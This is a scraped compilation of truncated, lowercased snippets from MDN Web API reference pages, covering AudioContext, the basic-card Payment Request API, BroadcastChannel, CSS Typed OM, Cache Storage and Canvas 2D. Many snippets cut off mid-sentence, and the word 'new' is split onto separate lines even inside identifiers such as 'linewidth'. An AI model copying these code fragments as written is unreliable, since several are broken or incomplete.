ontext.samplerate; value a floating point number indicating the audio context's sample rate, in samples per second. example note: for a full web audio example implementation, see one of our web audio demos on the mdn github repo, like panner-node. try entering audioctx.samplerate into your browser console. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx =
new audiocontext(); // older webkit/blink browsers require a prefix ... console.log(audioctx.samplerate); specifications specification status comment web audio apithe definition of 'samplerate' in that specification. working draft ...
BasicCardRequest.supportedNetworks - Web APIs
, the data property of which contains supportednetworks and supportedtypes properties. var supportedinstruments = [{ supportedmethods: 'basic-card', data: { supportednetworks: ['visa', 'mastercard', 'amex', 'jcb', 'diners', 'discover', 'mir', 'unionpay'], supportedtypes: ['credit', 'debit'] } }]; var details = { ... }; var options = { ... }; var request =
new paymentrequest(supportedinstruments, details, options); specifications specification status comment basic card paymentthe definition of 'supportednetworks' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please ch...
BasicCardRequest.supportedTypes - Web APIs
, the data property of which contains supportednetworks and supportedtypes properties. var supportedinstruments = [{ supportedmethods: 'basic-card', data: { supportednetworks: ['visa', 'mastercard', 'amex', 'jcb', 'diners', 'discover', 'mir', 'unionpay'], supportedtypes: ['credit', 'debit'] } }]; var details = { ... }; var options = { ... }; var request =
new paymentrequest(supportedinstruments, details, options); ...
BasicCardResponse.billingAddress - Web APIs
the billingaddress property of the basiccardresponse dictionary contains the billing address of the card used to make the payment. syntax "billingaddress" : paymentaddress value a paymentaddress object representing the billing address of the card. example let's look at a sample payment request: var request =
new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error from request.show(). }); once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object avai...
BasicCardResponse.cardSecurityCode - Web APIs
the cardsecuritycode property of the basiccardresponse dictionary contains the security code of the card used to make the payment. syntax "cardsecuritycode" : "number" value a domstring representing the card security code. example let's look at a sample payment request: var request =
new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error from request.show(). }); once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object available inside the fulfille...
BasicCardResponse.cardholderName - Web APIs
the cardnumber property of the basiccardresponse dictionary contains the cardholder name of the card used to make the payment. syntax name = basiccardresponse.cardholdername; value a domstring indicating the name of the cardholder. example let's look at a sample payment request: var request =
new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error from request.show(). }); once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object available inside the...
BasicCardResponse.expiryMonth - Web APIs
the expirymonth property of the basiccardresponse dictionary contains the expiry month of the card used to make the payment. syntax "expirymonth" : "number" value a domstring representing the card expiry month as a two-digit number in the range 01 to 12. example let's look at a sample payment request: var request =
new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error from request.show(). }); once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse obje...
BasicCardResponse.expiryYear - Web APIs
the expiryyear property of the basiccardresponse dictionary contains the expiry year of the card used to make the payment. syntax "expiryyear" : "number" value a domstring representing the card expiry year as a four-digit number in the range 0000 to 9999. example let's look at a sample payment request: var request =
new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error from request.show(). }); once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse obj...
Battery Status API - Web APIs
attery level or charging status change. this can be used to adjust your app's resource usage to reduce battery drain when the battery is low, or to save changes before the battery runs out in order to prevent data loss. the battery status api extends window.navigator with a navigator.getbattery() method returning a battery promise, which is resolved in a batterymanager object providing also some
new events you can handle to monitor the battery status. example in this example, we watch for changes both to the charging status (whether or not we're plugged in and charging) and for changes to the battery level and timing. this is done by listening for the chargingchange, levelchange, chargingtimechange, dischargingtimechange events. navigator.getbattery().then(function(battery) { function u...
Using the Beacon API - Web APIs
; }; workernavigator.sendbeacon() the beacon api's workernavigator.sendbeacon() method works identically to the usual method, but is accessible from worker global scope. in the following example, a worker sends a beacon using the url and data from the global context. ...
BeforeInstallPromptEvent - Web APIs
properties inherits properties from its parent, event. beforeinstallpromptevent.platforms read only returns an array of domstring items containing the platforms on which the event was dispatched. this is provided for user agents that want to present a choice of versions to the user such as, for example, "web" or "play" which would allow the user to chose between ...
Blob.stream() - Web APIs
nteresting capabilities: call getreader() on the returned stream to get an object to use to read the data from the blob using methods such as the readablestreamdefaultreader interface's read() method. call the returned stream's pipeto() method to pipe the blob's data to a writable stream. call the returned stream's tee() method to tee the readable stream. this returns an array containing two
new readablestream objects, each of which returns the contents of the blob. call the returned stream's pipethrough() method to pipe the stream through a transformstream or any other readable and writable pair. specifications specification status comment file apithe definition of 'blob.stream()' in that specification. working draft ...
BlobEvent.BlobEvent() - Web APIs
data is a blob associated with the event. timecode optional a domhighrestimestamp to be used in initializing the blob event. specifications specification status comment mediastream recordingthe definition of 'blobevent: blobevent' in that specification. ...
Body.bodyUsed - Web APIs
the bodyused read-only property of the body mixin contains a boolean that indicates whether the body has been read yet. syntax var mybodyused = response.bodyused; value a boolean. example in our fetch request example (run fetch request live), we create a
new request using the request() constructor, then use it to fetch a jpg. when the fetch is successful, we read a blob out of the response using blob(), put it into an object url using url.createobjecturl, and then set that url as the source of an <img> element to display the image. notice that we log response.bodyused to the console once before the response.blob() call and once after. this returns false before and true afterwards, as at that point the body has been read. html content <img class="my-image" src="https://udn.realityrip...
BroadcastChannel() - Web APIs
the broadcastchannel() constructor creates a
new broadcastchannel and connects it to the underlying channel. note: this feature is available in web workers. syntax channel =
new broadcastchannel(channel); values channel is a domstring representing the name of the channel; there is one single channel with this name for all browsing contexts with the same origin. example // create a
new channel listening to the "internal_notification" channel. var bc =
new broadcastchannel('internal_notification'); bc.postmessage('
new listening connected!'); specifications specification status comment html living standardthe definition of 'broadcastchannel()' in that specification. living standard initial definition. ...
BroadcastChannel.close() - Web APIs
the broadcastchannel.close() terminates the connection to the underlying channel, allowing the object to be garbage collected. this is a necessary step to perform as there is no other way for a browser to know that this channel is not needed anymore. note: this feature is available in web workers. syntax var str = channel.close(); example // connect to a channel var bc =
new broadcastchannel('test_channel'); // more operations (like postmessage, …) // when done, disconnect from the channel bc.close(); specifications specification status comment html living standardthe definition of 'broadcastchannel.close()' in that specification. living standard initial definition. ...
BroadcastChannel.name - Web APIs
the read-only broadcastchannel.name property returns a domstring, which uniquely identifies the given channel with its name. this name is passed to the broadcastchannel() constructor at creation time and is therefore read-only. note: this feature is available in web workers. syntax var str = channel.name; examples // connect to a channel var bc =
new broadcastchannel('test_channel'); // more operations (like postmessage, …) // log the channel name to the console console.log(bc.name); // "test_channel" // when done, disconnect from the channel bc.close(); specifications specification status comment html living standardthe definition of 'broadcastchannel.name' in that specification. living standard initial definition. ...
BroadcastChannel - Web APIs
nt of type messageerror is fired—that is, when it receives a message that cannot be deserialized. methods this interface also inherits methods from its parent, eventtarget. broadcastchannel.postmessage() sends the message, of any type of object, to each broadcastchannel object listening to the same channel. broadcastchannel.close() closes the channel object, indicating it won't get any
new messages, and allowing it to be, eventually, garbage collected. events message fired when when a message arrives on the channel. also available via the onmessage property. messageerror fired when a message arrives that can't be deserialized. also available via the onmessageerror property. specifications specification status comment html living standardthe defi...
Broadcast Channel API - Web APIs
-directional communication between all of them. broadcast channel interface creating or joining a channel a client joins a broadcast channel by creating a broadcastchannel object. its constructor takes one single parameter: the name of the channel. if it is the first to connect to that broadcast channel name, the underlying channel is created. // connection to a broadcast channel const bc =
new broadcastchannel('test_channel'); sending a message it is enough to call the postmessage() method on the created broadcastchannel object, which takes any object as an argument. an example string message: // example of sending of a very simple message bc.postmessage('this is a test message.'); any kind of object can be sent, not just a domstring. the api doesn't associate any semantics to m...
ByteLengthQueuingStrategy.ByteLengthQueuingStrategy() - Web APIs
the bytelengthqueuingstrategy() constructor creates and returns a bytelengthqueuingstrategy object instance. syntax var bytelengthqueuingstrategy =
new bytelengthqueuingstrategy({highwatermark}); parameters {highwatermark} an object containing a highwatermark property. this is a non-negative integer defining the total number of chunks that can be contained in the internal queue before backpressure is applied. return value an instance of the bytelengthqueuingstrategy object. exceptions none. examples const queuingstrategy =
new bytelengthqueuingstrategy({ highwatermark: 1 }); const readablestream =
new readablestream({ start(controller) { ... }, pull(controller) { ... }, cancel(err) { console.log("stream error:", err); } }, queuingstrategy); var size...
ByteLengthQueuingStrategy.size() - Web APIs
the size() method of the bytelengthqueuingstrategy interface returns the given chunk’s bytelength property. syntax var size = bytelengthqueuingstrategy.size(chunk); parameters chunk a chunk of data being passed through the stream. return value an integer representing the byte length of the given chunk. examples const queuingstrategy =
new bytelengthqueuingstrategy({ highwatermark: 1 }); const readablestream =
new readablestream({ start(controller) { ... }, pull(controller) { ... }, cancel(err) { console.log("stream error:", err); } }, queuingstrategy); var size = queueingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'size' in that specification. living standard initial defi...
CSS numeric factory functions - Web APIs
the css numeric factory functions, such as css.em() and css.turn() are methods that return cssunitvalues with the value being the numeric argument and the unit being the name of the method used. these functions create
new numeric values less verbosely than using the cssunitvalue.cssunitvalue() constructor. syntax css.number(number); css.percent(number); // <length> css.em(number); css.ex(number); css.ch(number); css.ic(number); css.rem(number); css.lh(number); css.rlh(number); css.vw(number); css.vh(number); css.vi(number); css.vb(number); css.vmin(number); css.vmax(number); css.cm(number); css.mm(number); css.q(number); css.in(number); css.pt(number); css.pc(number); css.px(number); // <angle> css.deg(number); css.grad(number); css.rad(number); css.turn(number); // <time> css.s(number)...
CSS - Web APIs
) registers custom properties, allowing for property type checking, default values, and properties that do or do not inherit their value. css.supports() returns a boolean indicating if the pair property-value, or the condition, given in parameter is supported. css.escape() can be used to escape a string mostly for use as part of a css selector. css factory functions can be used to return a
new cssunitvalue with a value of the parameter number of the units of the name of the factory function method used. css.em(3) // cssunitvalue {value: 3, unit: "em"} specifications specification status comment css painting api level 1the definition of 'paintworklet' in that specification. working draft adds the paintworklet static property. css object...
CSSGroupingRule - Web APIs
ss. it has one specific property: cssgroupingrule.cssrules read only returns a cssrulelist of the css rules in the media rule. methods common to all cssgroupingrule instances the cssgroupingrule derives from cssrule and inherits all methods of this class. it has two specific methods: cssgroupingrule.deleterule deletes a rule from the style sheet. cssgroupingrule.insertrule inserts a
new style rule into the current style sheet. specification specification status comment css object model (cssom)the definition of 'cssgroupingrule' in that specification. working draft initial definition. ...
CSSKeyframesRule - Web APIs
e interfaces. it has two properties : csskeyframesrule.name represents the name of the animation, used by the animation-name property. csskeyframesrule.cssrules read only returns a cssrulelist of the css rules in the media rule. methods as a cssrule, csskeyframesrule also implements the methods of that interface. it has three specific methods: csskeyframesrule.appendrule() inserts a
new keyframe rule into the current csskeyframesrule. the parameter is a domstring containing a keyframe in the same format as an entry of a @keyframes at-rule. if it contains more than one keyframe rule, a domexception with a syntax_err is thrown. csskeyframesrule.deleterule() deletes a keyframe rule from the current csskeyframesrule. the parameter is the index of the keyframe to be deleted, expres...
CSSKeywordValue.value - Web APIs
the value property of the csskeywordvalue interface returns or sets the value of the csskeywordvalue. syntax var val = csskeywordvalue.value csskeywordvalue.value = val value a usvstring. examples the following example resets the css display property to its defaults. let indicator = document.getelementbyid('indicator'); indicator.attributestylemap.set('display',
new csskeywordvalue('initial')); indicator.attributestylemap.get('display').value // 'initial' specifications specification status comment css typed om level 1the definition of 'undefined' in that specification. working draft initial definition. ...
CSSMathProduct - Web APIs
properties cssmathproduct.values returns a cssnumericarray object which contains one or more cssnumericvalue objects. ...
CSSMathSum - Web APIs
the cssmathsum interface of the css typed object model api represents the result obtained by calling add(), sub(), or tosum() on cssnumericvalue. a cssmathsum is the object type returned when the stylepropertymapreadonly.get() method is used on a css property whosevalue is created with a calc() function. constructor cssmathsum.cssmathsum() creates a
new cssmathsum object. properties cssmathsum.values returns a cssnumericarray object which contains one or more cssnumericvalue objects. event handlers no methods none. examples we create an element with a width determined using a calc() function, then console.log() the operator and values, and dig into the values a bit. <div>has width</div> we assign a width div { width: calc(30% - 20px); } we add the javascript co...
CSSPositionValue.x - Web APIs
the x property of the csspositionvalue interface returns returns the item's position along the web page's horizontal axis. ...
CSSPrimitiveValue.setFloatValue() - Web APIs
. css_pc the value is a <length> in picas. css_percentage the value is a <percentage>. css_pt the value is a <length> in points. css_px the value is a <length> in pixels. css_rad the value is an <angle> in radians. css_s the value is a <time> in seconds. floatvalue a float representing the
new float value. return value void. exceptions type description domexception an invalid_access_err is raised if the css value doesn't contain a float value or if the string value can't be converted into the specified unit. an no_modification_allowed_err is raised if this property is read-only. specifications specification status comment ...
CSSPrimitiveValue.setStringValue() - Web APIs
ameters stringtype an unsigned short representing the type of the value. possible values are: constant description css_attr the value is an attr() function. css_ident the value is an identifier. css_string the value is a <string>. css_uri the value is a <uri>. stringvalue a domstring representing the
new string value. return value void. exceptions type description domexception an invalid_access_err is raised if the css value doesn't contain a string value or if the string value can't be converted into the specified unit. an no_modification_allowed_err is raised if this property is read-only. specifications specification status comment ...
CSSStyleDeclaration - Web APIs
by its index, or the empty string if the index is out-of-bounds. an alternative to accessing nodelist[i] (which instead returns undefined when i is out-of-bounds). this is mostly useful for non-javascript dom implementations. cssstyledeclaration.removeproperty() removes a property from the css declaration block. cssstyledeclaration.setproperty() modifies an existing css property or creates a
new css property in the declaration block. cssstyledeclaration.getpropertycssvalue() only supported via getcomputedstyle in firefox. returns the property value as a cssprimitivevalue or null for shorthand properties. example var styleobj = document.stylesheets[0].cssrules[0].style; console.log(styleobj.csstext); for (var i = styleobj.length; i--;) { var namestring = styleobj[i]; styleobj.
CSSStyleSheet.addRule() - Web APIs
the obsolete cssstylesheet interface's addrule() legacy method adds a
new rule to the stylesheet. you should avoid using this method, and should instead use the more standard insertrule() method. syntax var result = cssstylesheet.addrule(selector, styleblock, index); parameters selector a domstring specifying the selector portion of the css rule. the default is the string undefined. styleblock a domstring indicating the style block to apply to elements matching the selector. the default is the string undefined. index optional an optional index into the stylesheet's cssrulelist at which to insert the
new rule. if index is not specified, the next index after the last item currently in the list is used (that is, the value of cssstylesheet.cssrules.length). return value always re...
CSSUnitValue.CSSUnitValue() - Web APIs
the cssunitvalue() constructor creates a
new cssunitvalue object which returns a
new cssunitvalue object which represents values that contain a single unit type. for example, "42px" would be represented by a cssnumericvalue. syntax var cssunitvalue =
new cssunitvalue() parameters value returns a double indicating the number of units. unit returns a usvstring indicating the type of unit. examples the following shows a method of creating a csspositionvalue from individual cssunitvalue constructors. let pos =
new csspositionvalue(
new cssunitvalue(5, "px"),
new cssunitvalue(10, "px")); specifications specification status comment css typed om level 1the definition of 'cssunitvalue' in that specification. working draft initial definition. ...
CSSUnitValue.unit - Web APIs
the cssunitvalue.unit read-only property of the cssunitvalue interface returns a usvstring indicating the type of unit. syntax var astring = cssunitvalue.unit; value a usvstring. examples the following creates a csspositionvalue from individual cssunitvalue constructors, then queries the cssunitvalue.unit. let pos =
new csspositionvalue(
new cssunitvalue( 5, "px" ),
new cssunitvalue( 10, "em" )); console.log( pos.x.unit ); // "px" console.log( pos.y.unit ); // "em" specifications specification status comment css typed om level 1the definition of 'cssunitvalue.unit' in that specification. working draft initial definition. ...
CSSUnitValue.value - Web APIs
the cssunitvalue.value property of the cssunitvalue interface returns a double indicating the number of units. syntax var cssunitvalue = cssunitvalue.value; cssunitvalue.value = cssunitvalue; value a double. examples the following creates a csspositionvalue from individual cssunitvalue constructors, then queries the cssunitvalue.value. let pos =
new csspositionvalue(
new cssunitvalue( 5, "px" ),
new cssunitvalue( 10, "px" )); console.log( pos.x.value ); // 5 console.log( pos.y.value ); // 10 specifications specification status comment css typed om level 1the definition of 'cssunitvalue.value' in that specification. working draft initial definition. ...
CSSUnparsedValue.CSSUnparsedValue() - Web APIs
the cssunparsedvalue() constructor creates a
new cssunparsedvalue object which represents property values that reference custom properties. syntax var cssunparsedvalue =
new cssunparsedvalue(members) parameters members an array whose values must be either a usvstring or a cssvariablereferencevalue. examples let value =
new cssunparsedvalue( ['4deg'] ), values =
new cssunparsedvalue( ['1em', '#445566', '-45px'] ); console.log( value ); // cssunparsedvalue {0: "4deg", length: 1} console.log( values ); // cssunparsedvalue {0: "1em", 1: "#445566", 2: "-45px", length: 3} specifications specification status comment css typed om level 1the definition of 'cssunparsedvalue' in that specification. working draft initial definition. ...
CSSUnparsedValue.length - Web APIs
the length read-only property of the cssunparsedvalue interface returns the number of items in the object. syntax var length = cssunparsedvalue.length; value an integer. examples in this example we employ the cssunparsedvalue.cssunparsedvalue() constructor, then query the length: let values =
new cssunparsedvalue( ['1em', '#445566', '-45px'] ); console.log( values.length ) // 3 specifications specification status comment css typed om level 1the definition of 'length' in that specification. working draft initial definition. ...
CSSUnparsedValue.values() - Web APIs
the cssunparsedvalue.values() method returns a
new array iterator object that contains the values for each index in the cssunparsedvalue object. syntax cssunparsedvalue.values() parameters none. return value a
new array. specifications specification status comment css typed om level 1the definition of 'values()' in that specification. working draft initial definition. ...
CSSVariableReferenceValue() - Web APIs
fallback optional. a custom property fallback value. specifications specification status comment css typed om level 1the definition of 'cssvariablereferencevalue()' in that specification. ...
CSSVariableReferenceValue - Web APIs
the cssvariablereferencevalue interface of the css typed object model api allows you to create a custom name for a built-in css value. this object functionality is sometimes called a "css variable" and serves the same purpose as the var() function. the custom name must begin with two dashes. constructor cssvariablereferencevalue.cssvariablereferencevalue() creates a
new cssvariablereferencevalue object. properties cssvariablereferencevalue.variable returns the custom name passed to the constructor. cssvariablereferencevalue.fallback read only returns the built-in css value for the custom name. methods none. specifications specification status comment css typed om level 1the definition of 'cssvariablereferencevalue' in that specification. worki...
CSS Painting API - Web APIs
get contextoptions() { return {alpha: true}; } paint(ctx, size, props, args) { const x = 0; const y = size.height * 0.3; const blockwidth = size.width * 0.33; const blockheight = size.height * 0.85; const thecolor = props.get( '--boxcolor' ); const stroketype = args[0].tostring(); const strokewidth = parseint(args[1]); console.log(thecolor); if ( strokewidth ) { ctx.li
newidth = strokewidth; } else { ctx.li
newidth = 1.0; } if ( stroketype === 'stroke' ) { ctx.fillstyle = 'transparent'; ctx.strokestyle = thecolor; } else if ( stroketype === 'filled' ) { ctx.fillstyle = thecolor; ctx.strokestyle = thecolor; } else { ctx.fillstyle = 'none'; ctx.strokestyle = 'none'; } ctx.beginpath(); ctx.moveto( x, y ); ctx.lineto( blockwidt...
Using the CSS Typed Object Model - Web APIs
ther types available: an <image> will return a cssimagevalue. a <color> would return a cssstylevalue. a transform returns a csstransformvalue. a custom property returns a cssunparsedvalue. you can use a cssunitvalue or csskeywordvalue to create other objects. for example, the parameters for a csspositionvalue is one to two cssunitvalues or csskeywordvalues, or one of each: let position =
new csspositionvalue(
new csskeywordvalue("center"),
new cssunitvalue(10, "px")); cssstylevalue the cssstylevalue interface of the the css typed object model api is the base class of all css values accessible through the typed om api, including cssimagevalue, csskeywordvalue, cssnumericvalue, csspositionvalue, csstransformvalue, and cssunparsedvalue. it has two methods: cssstylevalue.pa...
Cache.addAll() - Web APIs
00 range (i.e., not a successful response.) this occurs if the request does not return successfully, but also if the request is a cross-origin no-cors request (in which case the reported status is always 0.) examples this code block waits for an installevent to fire, then runs waituntil() to handle the install process for the app. this consists of calling cachestorage.open to create a
new cache, then using addall() to add a series of assets to it. this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.addall([ '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-...
Cache.put() - Web APIs
od of the cache interface allows key/value pairs to be added to the current cache object. often, you will just want to fetch() one or more requests, then add the result straight to your cache. in such cases you are better off using cache.add()/cache.addall(), as they are shorthand functions for one or more of these operations. fetch(url).then(function(response) { if (!response.ok) { throw
new typeerror('bad response status'); } return cache.put(url, response); }) note: put() will overwrite any key/value pair previously stored in the cache that matches the request. note: cache.add/cache.addall do not cache responses with response.status values that are not in the 200 range, whereas cache.put lets you store any request/response pair. as a result, cache.add/cache.addall can't ...
CacheStorage.delete() - Web APIs
elete(cachename).then(function(boolean) { // your cache is now deleted }); parameters cachename the name of the cache you want to delete. return value a promise that resolves to true if the cache object is found and deleted, and false otherwise. examples in this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a
new service worker is activated. here we have an array of cache names we want to keep (cachestokeep). we return the keys of the caches in the cachestorage object using cachestorage.keys, then check each key to see if it is in the array. if not, we delete it using delete(). this.addeventlistener('activate', function(event) { var cachestokeep = ['v2']; event.waituntil( caches.keys().then(func...
CacheStorage.keys() - Web APIs
hestorage through the global caches property. syntax caches.keys().then(function(keylist) { //do something with your keylist }); parameters none. return value a promise that resolves with an array of the cache names inside the cachestorage object. examples in this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a
new service worker is activated. here we have a whitelist containing the names of the caches we want to keep (cachewhitelist). we return the keys of the caches in the cachestorage object using keys(), then check each key to see if it is in the whitelist. if not, we delete it using cachestorage.delete(). then.addeventlistener('activate', function(event) { var cachewhitelist = ['v2']; event.waitu...
CanvasGradient.addColorStop() - Web APIs
syntax void gradient.addcolorstop(offset, color); parameters offset a number between 0 and 1, inclusive, representing the position of the color stop. 0 represents the start of the gradient and 1 represents the end; an index_size_err is raised if the number is outside that range. color a css <color> value representing the color of the stop. a syntax_err is raised if the value cannot be parsed as a css <color> value. examples adding stops to a gradient this example uses the addcolorstop method to add stops to a linear canvasgradient object. the gradient is then used to fill a rectangle. ...
CanvasGradient - Web APIs
e canvasgradient interface represents an opaque object describing a gradient. it is returned by the methods canvasrenderingcontext2d.createlineargradient() or canvasrenderingcontext2d.createradialgradient(). it can be used as a fillstyle or strokestyle. properties as an opaque object, there is no exposed property. methods there is no inherited method. canvasgradient.addcolorstop() adds a
new stop, defined by an offset and a color, to the gradient. if the offset is not between 0 and 1, inclusive, an index_size_err is raised; if the color can't be parsed as a css <color>, a syntax_err is raised. specifications specification status comment html living standardthe definition of 'canvasgradient' in that specification. living standard ...
CanvasRenderingContext2D.beginPath() - Web APIs
syntax void ctx.beginpath(); examples creating distinct paths this example creates two paths, each of which contains a single line. html <canvas id="canvas"></canvas> javascript the beginpath() method is called before beginning each line, so that they may be drawn with different colors. ...
CanvasRenderingContext2D.clip() - Web APIs
path2d object, which is then made the current clipping region using the clip() method. the "evenodd" rule creates a hole where the clipping rectangles intersect; by default (with the "nonzero" rule), there would be no hole. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // create clipping path let region =
new path2d(); region.rect(80, 10, 20, 130); region.rect(40, 50, 100, 50); ctx.clip(region, "evenodd"); // draw stuff that gets clipped ctx.fillstyle = 'blue'; ctx.fillrect(0, 0, canvas.width, canvas.height); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.clip' in that specification. living standard ...
CanvasRenderingContext2D.closePath() - Web APIs
html <canvas id="canvas"></canvas> javascript the first two arcs create the face's eyes. the last arc creates the mouth. const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.arc(240, 20, 40, 0, math.pi); ctx.moveto(100, 20); ctx.arc(60, 20, 40, 0, math.pi); ctx.moveto(215, 80); ctx.arc(150, 80, 65, 0, math.pi); ctx.closepath(); ctx.li
newidth = 6; ctx.stroke(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.closepath' in that specification. living standard ...
CanvasRenderingContext2D.createPattern() - Web APIs
uses the createpattern() method to create a canvaspattern with a repeating source image. once created, the pattern is assigned to the canvas context's fill style and applied to a rectangle. the original image looks like this: html <canvas id="canvas" width="300" height="300"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var img =
new image(); img.src = 'https://udn.realityripple.com/samples/04/aaeaf9aac4.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 300, 300); }; creating a pattern from a canvas in this example we create a pattern from the contents of an offscreen canvas. we then apply it to the fill style of our primary canvas, and fill ...
CanvasRenderingContext2D.drawImage() - Web APIs
d naturalheight properties of the created instance to properly calculate things like crop and scale regions, rather than element.width and element.height. the same goes for videowidth and videoheight if the element is a <video> element, and so on. ...
CanvasRenderingContext2D.fill() - Web APIs
to a path2d object. the fill() method is then used to render the object to the canvas. a hole is left unfilled in the object's center by using the "evenodd" rule; by default (with the "nonzero" rule), the hole would also be filled. ...
CanvasRenderingContext2D.font - Web APIs
nt weight, size, and family. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = 'bold 48px serif'; ctx.stroketext('hello world', 50, 100); result loading fonts with the css font loading api with the help of the fontface api, you can explicitly load fonts before using them in a canvas. let f =
new fontface('test', 'url(x)'); f.load().then(function() { // ready to use the font in a canvas context }); specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.font' in that specification. living standard ...
CanvasRenderingContext2D.globalAlpha - Web APIs
this example illustrates the effect of overlaying multiple transparent shapes on top of each other. we begin by drawing a solid background composed of four differently colored squares. next, we set the globalalpha property to 0.2 (20% opaque); this alpha level will apply to all of our transparent shapes. after that, we use a for loop to draw a series of circles with increasing radii. with each
new circle, the opacity of the previous circles underneath is effectively increased. if we were to increase the step count (and thus draw more circles), the background would eventually disappear completely from the center of the image. <canvas id="canvas" width="150" height="150"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // draw background c...
CanvasRenderingContext2D.globalCompositeOperation - Web APIs
see also compositing and clipping in the canvas tutorial. syntax ctx.globalcompositeoperation = type; type is a string identifying which of the compositing or blending mode operations to use. types examples changing the composite operation this example uses the globalcompositeoperation property to draw two rectangles that exclude themselves where they overlap. ...
CanvasRenderingContext2D.imageSmoothingQuality - Web APIs
y = "low" || "medium" || "high" options possible values: "low" low quality. "medium" medium quality. "high" high quality. example setting image smoothing quality this example uses the imagesmoothingquality property with a scaled image. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let img =
new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { ctx.imagesmoothingquality = 'low'; ctx.drawimage(img, 0, 0, 300, 150); }; result specifications specification status comment html living standardthe definition of 'imagesmoothingquality' in that specification. living standard initial definition. ...
CanvasRenderingContext2D.isPointInPath() - Web APIs
.ispointinpath(30, 70); result checking a point in the specified path whenever you move the mouse, this example checks whether the cursor is in a circular path2d path. if yes, the circle becomes green, otherwise it is red. ...
CanvasRenderingContext2D.moveTo() - Web APIs
syntax void ctx.moveto(x, y); parameters x the x-axis (horizontal) coordinate of the point. y the y-axis (vertical) coordinate of the point. examples creating multiple sub-paths this example uses moveto() to create two sub-paths within a single path. both sub-paths are then rendered with a single stroke() call. html <canvas id="canvas"></canvas> javascript the first line begins at (50, 50) and ends at (200, 50). the second line begins at (50, 90) and ends at (280, 120). ...
CanvasRenderingContext2D.save() - Web APIs
canvasrenderingcontext2d.save() method of the canvas 2d api saves the entire state of the canvas by pushing the current state onto a stack. the drawing state the drawing state that gets saved onto a stack consists of: the current transformation matrix. the current clipping region. the current dash list. the current values of the following attributes: strokestyle, fillstyle, globalalpha, li
newidth, linecap, linejoin, miterlimit, linedashoffset, shadowoffsetx, shadowoffsety, shadowblur, shadowcolor, globalcompositeoperation, font, textalign, textbaseline, direction, imagesmoothingenabled. syntax void ctx.save(); examples saving the drawing state this example uses the save() method to save the default state and restore() to restore it later, so that you are able to draw a rect with...
CanvasRenderingContext2D.setTransform() - Web APIs
the older type consists of several parameters representing the individual components of the transformation matrix to set: a (m11) horizontal scaling. a value of 1 results in no scaling. b (m12) vertical skewing. c (m21) horizontal skewing. d (m22) vertical scaling. a value of 1 results in no scaling. e (dx) horizontal translation (moving). f (dy) vertical translation (moving). the
newer type consists of a single parameter, matrix, representing a 2d transformation matrix to set (technically, a dommatrixinit object; any object will do as long as it contains the above components as properties). examples skewing a shape this example skews a rectangle both vertically (.2) and horizontally (.8). scaling and translation remain unchanged. html <canvas id="canvas"></canvas> java...
CanvasRenderingContext2D.strokeRect() - Web APIs
x.strokestyle = 'green'; ctx.strokerect(20, 10, 160, 100); result applying various context settings this example draws a rectangle with a drop shadow and thick, beveled outlines. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.shadowcolor = '#d53'; ctx.shadowblur = 20; ctx.linejoin = 'bevel'; ctx.li
newidth = 15; ctx.strokestyle = '#38f'; ctx.strokerect(30, 30, 160, 90); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.strokerect' in that specification. living standard ...
Finale - Web APIs
as tutorial! this knowledge will help you to make great 2d graphics on the web. more examples and tutorials there are a variety of demos and further explanations about canvas on these sites: codepen.io front end developer playground & code editor in the browser. html5 canvas tutorials examples for most canvas apis. game development gaming is one of the most popular computer activities.
new technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser. other web apis these apis might be useful when working further with canvas and graphics: webgl advanced api for rendering complex graphics, including 3d. svg scalable vector graphics let you describe images as sets of vectors (lines) a...
